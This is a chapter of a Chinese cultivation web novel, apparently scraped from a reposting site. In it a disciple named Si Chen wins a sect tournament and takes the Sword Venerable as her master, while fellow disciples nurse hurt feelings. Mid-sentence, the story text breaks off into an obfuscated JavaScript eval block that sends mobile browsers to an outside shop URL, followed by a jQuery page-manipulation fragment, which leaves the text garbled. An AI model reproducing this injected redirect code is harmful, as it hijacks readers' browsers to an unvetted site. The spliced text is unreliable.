剑尊于素很少露面,她今天身着一身玄衣,正襟危坐,孟令仪站在她旁边,姿态舒展大方,叶不凡则缩得像一只鹌鹑,肯定是被训了。掌门和符圣都笑眯眯地看着台下,徐望舒和迟玉在说话,画面很养眼。

    司晨和司空涉互相行了个礼,他先提剑攻来,单论剑术,他绝对不敌司晨。两剑相击之声不绝于耳,司晨加快速度,他被迫退后躲避,这一下拉开了距离。

    他做了个手势,战白从旁边跳出来,观众觉得它凶神恶煞,司晨看它却像只不好意思的小猫咪。

    随着他一声令下,战白猛地冲了过来。底下的人都屏住了呼吸,看司晨如何应对。如果她被白虎缠得脱不开身,只要司空涉再加入战局,那么她必输无疑。

    司晨屏息凝神,在它动作的瞬间掐出剑诀,身后沉璧出鞘。一剑一虎缠斗起来,司晨用沉璧剑柄不断拦住战白的动作,重剑在她操纵下竟然那么灵活。

    底下的人全都看呆了,他们没想到司晨会用御剑的方式对付白虎。她是外门弟子,入门和结丹都不久,能有这样的剑术真是让人大吃一惊。台下惊呼不断,看台上的长老们也交流起来:“此子定然前途无量……”

    战白被剑柄敲了一下又一下,根本无法近司晨的身。她握紧静夜,笑着对司空涉说:“可以继续了吧。”

    司空涉早已呆滞,他连师尊给的撒手锏都用上了,竟然还是无法取胜……

    司晨提剑向前,沉璧的动作也没有停滞半分。她和司空涉对阵的时候还能分出一半心神精确操纵沉璧,此时的对手是一人一虎,还有些还手余地,若对手只有一人,怕是撑不过几招就会左右掣肘。

    司晨携剑冲到他面前,他只觉一阵劲风袭来,心已经不定,脚下便也不稳,剑虽接了,却一时刹不住脚,几招下来直直退到擂台边缘,竭力稳住身形后,司晨剑尖已经指向他的胸口。

    这一局,司晨赢了。

    战白蔫蔫地蹭到她边上,司晨摸摸它的大脑袋:“没事,我知道你是听话的好宝宝。我不会生你气的,你还是可以来找我玩呀。”

    战白没管司空涉,径直跟着司晨下台。观众们给这一人一虎让路,看她的眼神里带上了敬佩。叶不凡更是呆了:“师妹……你……太帅了……”他自己御剑还有些歪歪扭扭,别说用它使出一套高深的剑法,更别说同时控两剑了。

    她的每一场比赛,庄无锋都在旁边看着,此时语气也不似往日平淡了:“原来你一直没有使出全力。是我还不够资格吗……明天之后我会闭关,出关后我们再战。”司晨微笑点点头。

    四周响起了震天的欢呼声,她是第一个在武试上获得第一的外门弟子,已经书写了叩月宗的历史。

    司晨环视四周,心想自己终于熬出头了。她微微一笑,简直意气风发。

    连玥、夏小圆和几个女孩全都围了上来,七嘴八舌地说中午要好好庆祝一下,司晨一听,才知道连玥和夏小圆在测试里都进了前十,可以进内门。

    司晨听了也很高兴,一群人热闹地来到竹舍前忙碌开,下午有授奖仪式,她们很快弄好。

    其中年纪最小的女孩突然犹豫着说:“那以后我们是不是很难见到了……你们要搬去寒烟谷了吧?”

    几个人一愣,都有些失落,司晨连忙说:“怎么会?我们只是搬了屋子,又不是走了,还可以一起玩呀!你们有什么问题可以来找我们,等以后我们都变厉害了,就一起仗剑走天下!”大家都被感染了,纷纷笑着点头。

    吃完饭,她们往广场去,司晨三人到了场地就被拉到一边等候。武试的前一百二十八名和文试成绩优秀的二十人都在这里,被安排着站成一个小方阵,司晨在第一排,感觉特别傻。

    三尊和几位长老到了,授奖仪式正式开始。主持人是徐望舒,司晨突然感觉做亲传弟子好可怜,什么事都要干。排名已经在布告栏贴出,徐望舒只念了武试和文试前三的名字,还有成功进入内门的弟子。

    念完后,他们上前领奖。一群被抓来当壮丁的内门弟子上前,迟玉正好为司晨颁奖。司晨接过托盘,发现里面有两套内门弟子的校服,一些极品洗髓丹,一枚聚灵珠,一枚清心铃,看来这奖品还是根据修为量身定制的,都对金丹期修士大有裨益,她很满意。

    送完东西迟玉没走,顺势站在她身边。他本来心情很好,看见叶不凡也悄悄蹭了过来,又有点不高兴了。

    颁奖完,到了最受瞩目的拜师环节。叩月宗没有明文规定,拜师全凭两方自愿。

    司晨像台上三尊看去,还没开口,掌门突然朝着她说:“司晨,我愿收你为徒,你可愿意?”

    一时间,周围像掉进油锅一般炸起了窃窃私语声。掌门收徒可是大事,所有人都盯着司晨。司晨很为难,她没想到掌门竟然主动抛出橄榄枝。

    她把手里的托盘递给迟玉,想要上前行礼回话,迟玉自然地接过来,模样受用。符圣看见他们俩这样,挑眉露出了笑容。

    司晨上前一步,朗声说:“承蒙掌门厚爱,司晨感激不尽。只是我自幼痴剑,一心向往剑道巅峰,此番大比,也是为了求剑尊指点。还请掌门成全,弟子他日必为宗门效力,不负栽培。”

    掌门没立刻松口,继续丢下一颗惊雷:“你文韬武略,拜入我门下或许能成为下一任掌门,也不动心吗?”

    司晨当然不动心,她不是这里的人,加上修无情道,不能牵绊太深,当掌门事情又那么多,她才不乐意。

    可是别人不这么想,弟子和长老们纷纷露出惊讶的表情,都以为她会被说服,唯有徐望舒面色僵硬了一瞬,虽然他很快掩饰过去,司晨还是看到了。

    司晨真是绝望啊,掌门胡乱开玩笑,却伤了自己弟子的心,谁都能看出来大师兄就是按照下一任掌门来培养的……

    她连忙表明态度:“掌门师尊太看得起我了。我是一个粗人,只知道练剑,望舒师兄君子端方,为人处世温柔妥帖,我连他一根头发丝也比不上。您还是不要为难我了。”她一急,也不管什么用词了,赶紧剖白自己。

    掌门乐了,没有说话。剑尊放下手里的杯子,淡淡地对掌门说:“我已经准备好了见面礼,师姐就不要和我抢弟子了。”

    长孙婧但笑不语,最后轻轻点头。

    司晨连忙机灵地凑过去:“拜见师尊。”剑尊递给她一个盒子,司晨接过来之后向她道谢。

    徐望舒也站出来,微微颔首:“师妹过誉了,这都是我应该做的。”

    迟玉原本在旁边安静看着,听见她的话突然想起了什么。那本《温柔师兄掌心宠》、她看书时认真又含笑的模样、她夸徐望舒的话,还有很多年前,她那样思念的神情……

    原来,她喜欢师兄吗?也是,师兄是翩翩君子,她会喜欢也很正常。

    他低下头盯着手里的盘子,不愿意看他们俩含笑互望的样子。他突然觉得场上的每一个人都是在笑他,笑他不自量力又自作多情。他的心好像在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671534|206409||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被一把钝刀切割,他想颤抖,又竭力忍住了。

    司晨退回自己的位置,从迟玉那里把自己的东西拿回来装进芥子袋,转头看见迟玉的脸上血色尽褪,整个人十分僵硬,还有些微微的颤抖。她吓了一大跳,连忙问:“师兄你怎么了?要不要我扶你休息?”

    迟玉摇了摇头。司晨还是放心不下,一直偷偷看他。

    司晨这一茬过去之后,乐正晓朝夏小圆走去,要收她为徒,夏小圆很感激,立刻笑盈盈地拜了师。

    没过多久,授奖典礼差不多结束了。她刚想问问迟玉到底怎么了,他却飞快地离开了,叶不凡又喊她,她只好留下来。“怎么了?”

    “也没什么大事,你过会儿有空吗?我们去凌霄城玩玩吧!马上你要搬宿舍,肯定要添点东西嘛!”

    确实,司晨点头同意了。

    “刚才迟玉师兄脸色很不好地走了,他到底……是什么情况啊?”司晨犹豫了一会儿,还是问了,迟玉总是喝药,肯定有些问题。

    叶不凡挠挠头:“具体的我也说不上来。不过他好像是精神不大好……犯病也没什么规律,总是突然就闭门不出……”

    司晨眉头紧拧,心想这是什么毛病……

    她回去换了身衣服,就和叶不凡御剑去凌霄城了。说是添置东西,其实司晨房里什么也不缺,她又买了点剑谱,想着多学一点。路过那糕点铺,她想起和迟玉一起尝糕点的那一天。迟玉说莲花酥最好吃,她拐进去买了一包。

    叶不凡请她吃了自己发现的小面馆,司晨也觉得很美味。叶不凡吃的稀里哗啦,可是司晨心里有事,她总是想起迟玉,吃的慢吞吞。实在没什么好逛的了,两人回了宗门。

    已经是晚上了,司晨回了房间,却还是不放心。

    其实……也不是很晚吧?至少没到睡觉的点!她换上衣服,脚步飞快地朝迟玉的小楼去。

    今天晚上的叩月宗很热闹,很多弟子在庆祝。

    夏小圆炼丹少了一味原料,名叫月轮草,它吸收月华,长在高处,还只在夜晚出现,乐正晓告诉她,宗门最高处的望月台附近生长有这种草药,她啃哧吭哧爬上去,却看见那里站着一个人,背对着她,倚靠在石台边缘,看向台下的深渊。

    正常人哪会站在悬崖边?!她一下子顿住脚步,以为这人要寻死,连忙结结巴巴地说:“这位同门,你冷静一点……不要想不开啊,有什么事情是不能解决的……”

    那人闻言转身,竟然是徐望舒。

    “对,转过来……诶?!怎么是你啊大师兄……”

    他露出标志性的温柔笑容:“大晚上的,你到这里来做什么?”视线往下,看见她手里的药锄,他挑眉:“哦,来摘草药的。”

    夏小圆大着胆子反问:“师兄你在这里干什么?”

    徐望舒淡淡地说:“嗯……来放松一下吧。”

    夏小圆突然福至心灵,想起白天发生的事。她一直看着大师兄,当然看见了他的表情,只可惜她搜肠刮肚,也想不出什么安慰他的话。

    最后,她干巴地憋出一句:“师兄你千万不要多想……掌门只是随口一说,肯定没有别的意思……”

    她讲的不清不楚,徐望舒却听懂了,他轻轻地说了声“谢谢”,还对着她展开笑容。虽然他平时一直挂着笑容,但是夏小圆知道,这次他的笑容是真心的。

    徐望舒说完就走了,夏小圆继续挖药材,很顺利地找到一棵,她蹦蹦跳跳地下山了。